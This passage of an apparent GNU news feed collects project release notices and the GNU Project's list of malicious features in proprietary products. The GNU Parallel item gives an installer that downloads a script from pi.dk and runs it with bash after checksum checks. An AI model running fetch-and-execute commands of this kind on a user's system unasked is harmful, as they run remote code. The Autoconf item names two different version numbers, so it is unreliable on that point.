iptables-legacy if required.&lt;/p&gt; </description> 
	<pubDate>Mon, 06 Apr 2026 14:41:11 +0000</pubDate>

</item> 
<item>
	<title>www @ Savannah: Malware in Proprietary Software - Latest Additions</title>
	<guid>https://savannah.gnu.org/news/?id=10877</guid>
	<link>https://savannah.gnu.org/news/?id=10877</link>
     <description>  &lt;p&gt;The initial injustice of proprietary software often leads to further injustices: &lt;a href="https://www.gnu.org/proprietary/proprietary.html"&gt;malicious functionalities&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
&lt;br /&gt;

&lt;br /&gt;
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h3&gt;Here are our latest additions&lt;/h3&gt;
&lt;h4&gt;March 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-interference.html"&gt;Proprietary Interference&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shake Shack requires users of its mobile app to &lt;a href="https://www.levernews.com/shakeshackled/"&gt;sign away their&lt;/a&gt; right to sue the company if they order their meals from their phones.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/potential-malware.html"&gt;Potential Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.businessinsider.com/meta-granted-patent-for-ai-llm-bot-dead-paused-accounts-2026-2"&gt;Meta has been granted a patent&lt;/a&gt; to use so-called “&lt;a href="https://www.gnu.org/philosophy/words-to-avoid.html#ArtificialIntelligence"&gt;Artificial Intelligence&lt;/a&gt;” to impersonate human users in social media platforms, for example people who are inactive or dead. To cover itself from predictable controversies, Meta declared that it does not intend to use the technology in the context of those examples. How long before the “invention” is used to impersonate active, living people?
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;February 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-hp.html"&gt;HP's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HP has recently started pushing a &lt;a href="https://web.archive.org/web/20260222235610/https://h30434.www3.hp.com/t5/Gaming-Desktops/Still-getting-annoying-intrusive-HP-pop-up-ads-on-my-desktop/td-p/9436964"&gt;spyware program called HPMediaNetwork.exe&lt;/a&gt; into users' computers exploiting a Windows universal back door via Windows Update. The software, which is designed to serve personalized pop-up advertisements on the user's screen, runs in the background to collect device and users' data that &lt;a href="https://www.adweek.com/commerce/hp-is-launching-an-ad-business-with-laptop-targeted-ads-and-a-streaming-service/"&gt;HP sells to advertising companies&lt;/a&gt;. The malfeature is implemented at both hardware and software levels, and &lt;a href="https://www.hp.com/us-en/privacy/hp-advertising.html"&gt;opting out does not block ads&lt;/a&gt; entirely.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Users can avoid this and other kinds of mistreatment by choosing hardware that comes with &lt;a href="https://www.gnu.org/philosophy/free-hardware-designs.html"&gt;free specifications and designs&lt;/a&gt;, and by installing only &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;free software&lt;/a&gt; in their computers.
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-microsoft.html"&gt;Microsoft's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft is &lt;a href="https://www.windowslatest.com/2025/11/18/windows-11-to-add-an-ai-agent-that-runs-in-background-with-access-to-personal-folders-warns-of-security-risk/"&gt;pushing Pretend Intelligence&lt;/a&gt; onto users of Windows, set up to be able to take real world actions on the user's behalf. This starts with a subset of enthusiasts but the company is probably planning to push it onto everyone.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Since Windows 11, like several previous versions, has a universal back door enabling Microsoft to remotely change the system code, any limits the user specifies for what Microsoft can do to per (the user) are no more than requests. If you don't want to be messed with, you should not run Windows. Nonetheless, Microsoft might heed those requests.
&lt;br /&gt;

&lt;br /&gt;
Warning: this article seems to ridicule the idea that users might use a feature to limit what the PI has access to on their own machines.
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows encrypts disks for “security,” but &lt;a href="https://techcrunch.com/2026/01/23/microsoft-gave-fbi-a-set-of-bitlocker-encryption-keys-to-unlock-suspects-laptops-reports/"&gt;reports all the encryption keys to Microsoft&lt;/a&gt; so that the encryption doesn't provide real security. Once Microsoft has these keys, it can't refuse to give them to the FBI. However, for real security you need to be able to use your own choice of keys. Microsoft stops users from doing that.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-mobiles.html"&gt;Malware in Mobile Devices&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OnePlus 13 and 15 smartphones shipping with ColorOS versions 16.0.3.500/.501/.503 implement an &lt;a href="https://www.androidauthority.com/oneplus-arb-protection-3633783/"&gt;anti-rollback feature&lt;/a&gt; which physically renders the device unusable if the owner tries to modify the operating system running in it.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
At the time of writing the restriction affects only those two models and only ColorOS, but it is expected that the company may extend it to older models of the phone as well as to OxygenOS, the variant of the operating system installed on phones intended for the global market.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;January 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-google.html"&gt;Google's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google has rolled out a new software app which &lt;a href="https://www.insidehalton.com/news/%20%20%20%20google-archiving-feature-employees/article_3bdced70-23dd-5ea8-9305-a936fceda7dc.html"&gt;allows employers to log all messages&lt;/a&gt; sent through the &lt;a href="https://en.wikipedia.org/wiki/Rich_Communication_Services"&gt;Rich Communication Services&lt;/a&gt; (a newer replacement for SMS messages) on company-owned phones provided to employees, amplifying the surveillance workers are subjected to.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
“Bossware” as it's called, &lt;a href="https://developer.android.com/work/dpc/rcs-messages-archival"&gt;explicitly requires nullifying user agency&lt;/a&gt; in favor of a third-party (the boss), and therefore requires proprietary software.
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-microsoft.html"&gt;Microsoft's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft has, repeatedly, pushed software changes meant to make it &lt;a href="https://www.techzine.eu/news/applications/118510/new-windows-driver-blocks-software-that-changes-default-web-browser/"&gt;harder for users to use a web browser&lt;/a&gt; different than Microsoft's.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;December 2025&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-cars.html"&gt;Malware In Cars&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The software installed in electric buses manufactured by Yutong in China and exported to some European countries contains a back door that enables the company to &lt;a href="https://www.theguardian.com/world/2025/nov/05/danish-authorities-in-rush-to-close-security-loophole-in-chinese-electric-buses"&gt;remotely control and even deactivate the vehicles&lt;/a&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;November 2025&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-back-doors.html"&gt;Proprietary Back Doors&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Universe Browser, tied to online gambling platforms in Asia and marketed as a “privacy browser,” &lt;a href="https://arstechnica.com/security/2025/10/this-browser-claims-perfect-privacies-protection-but-it-acts-like-malware/"&gt;installs various malicious functionalities&lt;/a&gt; in the user's computer.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/proprietary-censorship.html"&gt;Proprietary Censorship&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bowing down to the US government, Apple and Google &lt;a href="https://www.npr.org/2025/10/03/nx-s1-5561999/apple-google-iceblock-app-removal"&gt;removed&lt;/a&gt; from their stores &lt;a href="https://www.androidauthority.com/ice-alert-app-red-dot-pulled-play-store-3603936/"&gt;several applications&lt;/a&gt; used for reporting ICE raids. Google even tried to justify it by calling ICE thugs a “vulnerable group,” despite them being the ones who carry the weapons.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/proprietary-surveillance.html"&gt;Proprietary Surveillance&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An app called ICEBlock tried to set up anonymous posting and anonymous access to data about where US deportation thugs are operating. It didn't keep records about who was using it—but &lt;a href="https://www.theverge.com/cyber-security/707116/iceblock-data-privacy-security-android-version"&gt;Apple's own records&lt;/a&gt; would be enough to make them vulnerable to snooping by the US government to find who uses the app.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Apple later &lt;a href="https://web.archive.org/web/20251006185727/https://www.iceblock.app/"&gt;removed ICEBlock&lt;/a&gt; from its store at the request of the US government.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 02 Apr 2026 16:25:53 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260322 ('این آخرین نبرده،') released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10874</guid>
	<link>https://savannah.gnu.org/news/?id=10874</link>
     <description>  &lt;p&gt;GNU Parallel 20260322 ('این آخرین نبرده،') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  i rly love gnu parallel over xargs, it's basically the same but has lots of useful and well documented options. sry if u know already
&lt;br /&gt;
    -- d@nny "disc@" mc² @hipsterelectron@circumstances.run
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No new features.
&lt;/li&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sun, 29 Mar 2026 17:48:42 +0000</pubDate>

</item> 
<item>
	<title>remotecontrol @ Savannah: GE SmartHQ™ Management</title>
	<guid>https://savannah.gnu.org/news/?id=10873</guid>
	<link>https://savannah.gnu.org/news/?id=10873</link>
     <description>  &lt;p&gt;&lt;a href="https://www.smarthqpro.com/lp/management"&gt;https://www.smart ... com/lp/management&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
This offering sure looks like GNU remotecontrol. Perhaps it is our code.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 26 Mar 2026 11:12:52 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: GNU Taler 1.5 released</title>
	<guid>https://taler.net/en/news/2026-04.html</guid>
	<link>https://taler.net/en/news/2026-04.html</link>
     <description>  &lt;article&gt;
             We are happy to announce the release of GNU Taler v1.5.
           &lt;/article&gt; </description> 
	<pubDate>Fri, 20 Mar 2026 23:00:00 +0000</pubDate>

</item> 
<item>
	<title>autoconf @ Savannah: Autoconf 2.73 released</title>
	<guid>https://savannah.gnu.org/news/?id=10871</guid>
	<link>https://savannah.gnu.org/news/?id=10871</link>
     <description>  &lt;p&gt;Autoconf 2.72 has been released, see the release announcement:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://lists.gnu.org/archive/html/autotools-announce/2026-03/msg00000.html"&gt;https://lists.gnu ... -03/msg00000.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 20 Mar 2026 20:00:39 +0000</pubDate>

</item> 
<item>
	<title>libredwg @ Savannah: libredwg-0.13.4 released</title>
	<guid>https://savannah.gnu.org/news/?id=10868</guid>
	<link>https://savannah.gnu.org/news/?id=10868</link>
     <description>  &lt;p&gt;A major bugfix release. Complete rewrite of the decompressor to 
&lt;br /&gt;
fix hairy section reading bugs in some big files. Fixed many dxf roundtrips.
&lt;br /&gt;
See &lt;a href="https://www.gnu.org/software/libredwg/"&gt;https://www.gnu.o ... oftware/libredwg/&lt;/a&gt; and &lt;a href="https://github.com/LibreDWG/libredwg/blob/0.13.4/NEWS"&gt;https://github.co ... /blob/0.13.4/NEWS&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.gz"&gt;http://ftp.gnu.or ... dwg-0.13.4.tar.gz&lt;/a&gt; (21MB)
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.xz"&gt;http://ftp.gnu.or ... dwg-0.13.4.tar.xz&lt;/a&gt; (11MB)
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures[*]:
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.gz.sig"&gt;http://ftp.gnu.or ... 0.13.4.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.xz.sig"&gt;http://ftp.gnu.or ... 0.13.4.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
&lt;a href="https://www.gnu.org/order/ftp.html"&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are more binaries:
&lt;br /&gt;
&lt;a href="https://github.com/LibreDWG/libredwg/releases/tag/0.13.4"&gt;https://github.co ... leases/tag/0.13.4&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 checksums:
&lt;br /&gt;

&lt;br /&gt;
cacff5510f46723462e854e15ecfa97cbc7475acb3eb7ae1ca6e4193ecc2267d  libredwg-0.13.4.tar.gz
&lt;br /&gt;
7e153ea4dac4cbf3dc9c50b9ef7a5604e09cdd4c5520bcf8017877bbe1422cd5  libredwg-0.13.4.tar.xz
&lt;br /&gt;
cb46bce034296e91cb1a982cd53ec1928b11f4f7f70512dd21513a27959688b5  libredwg-0.13.4-win64.zip
&lt;br /&gt;

&lt;br /&gt;
Please ignore the broken Source code (tar.gz, .zip) artefacts. They cannot be deleted.
&lt;br /&gt;

&lt;br /&gt;
[*] Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact. First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball. Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
gpg --verify libredwg-0.13.4.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
then run this command to import it:
&lt;br /&gt;

&lt;br /&gt;
gpg --recv-keys B4F63339E65D6414
&lt;br /&gt;

&lt;br /&gt;
and rerun the gpg --verify command.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 19 Mar 2026 06:32:07 +0000</pubDate>

</item> 
<item>
	<title>GNUnet News: GNUnet 0.27.0</title>
	<guid>https://gnunet.org/en/news/2026-03-0.27.0.html</guid>
	<link>https://gnunet.org/en/news/2026-03-0.27.0.html</link>
     <description>  &lt;article id="newspost-content"&gt;
 
  &lt;h1&gt;
   GNUnet 0.27.0 released
  &lt;/h1&gt;
  &lt;p&gt;
   We are pleased to announce the release of GNUnet 0.27.0.
   &lt;br /&gt;
   GNUnet is an alternative network stack for building secure, decentralized and
  privacy-preserving distributed applications.
  Our goal is to replace the old insecure Internet protocol stack.
  Starting from an application for secure publication of files, it has grown to
  include all kinds of basic protocol components and applications towards the
  creation of a GNU internet.
  &lt;/p&gt;
  &lt;p&gt;
   This is a new major release.
  Major versions may break protocol compatibility with the 0.26.X versions.
  Please be aware that Git master is thus henceforth (and has been for a
  while)
   &lt;b&gt;
    INCOMPATIBLE
   &lt;/b&gt;
   with
  the 0.26.X GNUnet network, and interactions between old and new peers
  will result in issues.
  In terms of usability, users should be aware that there are still
   &lt;b&gt;
    a number of known open issues
   &lt;/b&gt;
   in particular with respect to ease
  of use, but also some critical privacy issues especially for mobile users.
  Also, the nascent network is tiny and thus unlikely to
  provide good anonymity or extensive amounts of interesting information.
  As a result, the 0.27.0 release is still
   &lt;b&gt;
    only suitable for early adopters
  with some reasonable pain tolerance
   &lt;/b&gt;
   .
  &lt;/p&gt;
  &lt;h4&gt;
   Download links
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-0.27.0.tar.gz"&gt;
     gnunet-0.27.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-0.27.0.tar.gz.sig"&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
   &lt;li&gt;
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-fuse-0.27.0.tar.gz"&gt;
     gnunet-fuse-0.27.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-fuse-0.27.0.tar.gz.sig"&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   The GPG key used to sign is:
   &lt;a href="https://www.gnunet.org/~schanzen/3D11063C10F98D14BD24D1470B0998EF86F59B6A"&gt;
    3D11063C10F98D14BD24D1470B0998EF86F59B6A
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;p&gt;
   Note that due to mirror synchronization, not all links might be functional
  early after the release. For direct access try
   &lt;a href="http://ftp.gnu.org/gnu/gnunet/"&gt;
    http://ftp.gnu.org/gnu/gnunet/
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;h4&gt;
   Changes
  &lt;/h4&gt;
  &lt;p&gt;
   A detailed list of changes can be found in the git log, the NEWS.
  &lt;/p&gt;
  &lt;h4&gt;
   Known Issues
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    There are known major issues with the TRANSPORT subsystem.
   &lt;/li&gt;
   &lt;li&gt;
    There are known moderate implementation limitations in CADET that negatively impact performance.
   &lt;/li&gt;
   &lt;li&gt;
    There are known moderate design issues in FS that also impact usability and performance.
   &lt;/li&gt;
   &lt;li&gt;
    There are minor implementation limitations in SET that create unnecessary attack surface for availability.
   &lt;/li&gt;
   &lt;li&gt;
    The RPS subsystem remains experimental.
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   In addition to this list, you may also want to consult our bug tracker at
   &lt;a href="https://bugs.gnunet.org/"&gt;
    bugs.gnunet.org
   &lt;/a&gt;
   which lists about 190 more specific issues.
  &lt;/p&gt;
  &lt;h4&gt;
   Thanks
  &lt;/h4&gt;
  &lt;p&gt;
   This release was the work of many people. The following people contributed code and were thus easily identified:
Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
  &lt;/p&gt;
  
 
&lt;/article&gt; </description> 
	<pubDate>Wed, 18 Mar 2026 23:00:00 +0000</pubDate>

</item> 
<item>
	<title>hello @ Savannah: hello-2.12.3 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10867</guid>
	<link>https://savannah.gnu.org/news/?id=10867</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce hello-2.12.3, a stable release.&lt;br /&gt;
&lt;br /&gt;
GNU hello is a demonstration and model of the GNU coding standards for&lt;br /&gt;
hackers, and a simple example for users.&lt;br /&gt;
&lt;br /&gt;
There have been 18 commits by 2 people in the 43 weeks since 2.12.2.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Collin Funk (16)&lt;br /&gt;
  Reuben Thomas (2)&lt;br /&gt;
&lt;br /&gt;
Collin&lt;br /&gt;
 [on behalf of the hello maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU hello home page:&lt;br /&gt;
    https://gnu.org/s/hello/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:&lt;br /&gt;
  https://ftpmirror.gnu.org/hello/hello-2.12.3.tar.gz&lt;br /&gt;
  https://ftpmirror.gnu.org/hello/hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (hello-2.12.3.tar.gz) = DV9gFUOC/uELEUocNOeF2LH0kgc64tOm97FHaHs2aqA=&lt;br /&gt;
  SHA3-256 (hello-2.12.3.tar.gz) = VQz4Y71rvDa2iSh59ZUTHiT0wJmFWKo4VcUvpkRi4Ek=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/8CE6491AE30D7D75 2024-03-11 [SC]&lt;br /&gt;
        Key fingerprint = 2371 1855 08D1 317B D578  E5CC 8CE6 491A E30D 7D75&lt;br /&gt;
  uid                 [ultimate] Collin Funk &amp;lt;collin.funk1@gmail.com&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key collin.funk1@gmail.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 8CE6491AE30D7D75&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=hello&amp;amp;download=1' | gpg --import -&lt;br /&gt;
